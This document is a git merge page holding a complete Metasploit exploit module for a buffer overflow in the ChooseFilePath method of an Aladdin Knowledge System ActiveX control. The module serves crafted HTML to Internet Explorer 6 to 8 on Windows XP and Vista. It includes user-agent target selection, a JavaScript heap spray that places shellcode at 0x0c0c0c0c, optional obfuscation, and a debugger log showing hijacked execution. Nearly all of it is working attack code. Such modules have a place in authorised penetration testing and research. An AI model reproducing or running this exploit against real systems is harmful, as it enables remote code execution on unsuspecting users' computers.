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Merge branch 'aladdin_bof' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-aladdin_bof
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‎modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb

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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "7.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:rank => Rank,
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:classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
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:method => "ChooseFilePath",
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in Aladdin Knowledge System's
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ActiveX component. By supplying a long string of data to the ChooseFilePath()
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function, a buffer overflow occurs, which may result in remote code execution
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under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'b33f', #Original
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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[ 'OSVDB', '86723' ],
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[ 'EDB', '22301' ]
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],
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'Payload' =>
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{
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'StackAdjustment' => -3500
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x5F4' } ],
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[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x5F4' } ],
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[ 'IE 8 on Windows XP SP3', { 'Offset' => '0x5f4' } ],
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[ 'IE 7 on Windows Vista', { 'Offset' => '0x5f4' } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 1 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.0'
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os_name = 'Windows Vista'
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when '6.1'
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os_name = 'Windows 7'
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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print_status("Target selected as: #{t.name}")
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return t
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end
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end
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return nil
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end
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def ie_heap_spray(my_target, p)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
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js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
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# Land the payload at 0x0c0c0c0c
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js = %Q|
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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var overflow = nops.substring(0, 10);
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|
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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return js
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end
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def load_exploit_html(my_target, cli)
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p = payload.encoded
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spray = ie_heap_spray(my_target, p)
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html = %Q|
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<html>
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<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
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<script>
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#{spray}
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var junk = unescape("%0c%0c%0c%0c");
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while (junk.length < 2000) junk += junk;
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pwnd.ChooseFilePath(junk);
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</script>
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</html>
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|
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return html
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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uri = request.uri
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print_status("Requesting: #{uri}")
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my_target = get_target(agent)
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# Avoid the attack if no suitable target found
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if my_target.nil?
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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html = load_exploit_html(my_target, cli)
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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0:008> g
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(82c.12dc): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
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eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0 nv up ei pl zr na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
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OLEAUT32!SysReAllocStringLen+0x31:
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7712a41a 8b00 mov eax,dword ptr [eax] ds:0023:0c0c0c0c=????????
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0:008> g
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(82c.12dc): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
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eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0 nv up ei pl zr na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
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0c0c0c0c ?? ???
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0:008> db 020bf798
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020bf798 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7a8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7b8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7c8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7d8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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=end

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